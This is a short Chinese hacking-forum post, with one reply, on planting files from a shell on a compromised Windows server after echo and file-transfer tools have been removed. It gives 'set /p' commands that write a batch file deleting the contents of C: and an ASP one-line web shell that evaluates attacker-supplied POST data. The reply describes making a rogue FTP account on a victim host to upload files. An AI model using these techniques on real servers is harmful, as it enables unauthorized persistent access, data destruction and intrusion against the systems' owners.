文章出处：幻影旅团
文章作者：allyesno

利用安全策略禁止本地主机连接去对方任何端口！
然后在允许别人连接自己的80端口！
把debug/ftp/tftp/its/start/net/net1/echo/edit去掉！本地只提供web服务！
关闭/过滤所有端口,现在得到这个主机一个shell，有办法上穿文件？

呵呵 改内核去掉了echo？

别怕 我们还有set 嘛

set/p allyesno=del c:\.>allyesno.bat

如果遇到转义字符就是^了 嘎嘎。。。

set/p allyesno=^<SCRIPT RUNAT^=SERVER LANGUAGE^=JAVASCRIPT^>eval^(Request.form^(&#39;^#&#39;^)+&#39;&#39;^)^</SCRIPT^>>allyesno.asp

相关资料：
[转载]DOS环境变量全家福
http://www.eviloctal.com/forum/read.php?tid=517

我前段时间搞到的一台
也是禁止了访问外部
不过我看到他开了FTP
我就建立了个FTP帐户
然后通过FTP传东西过来的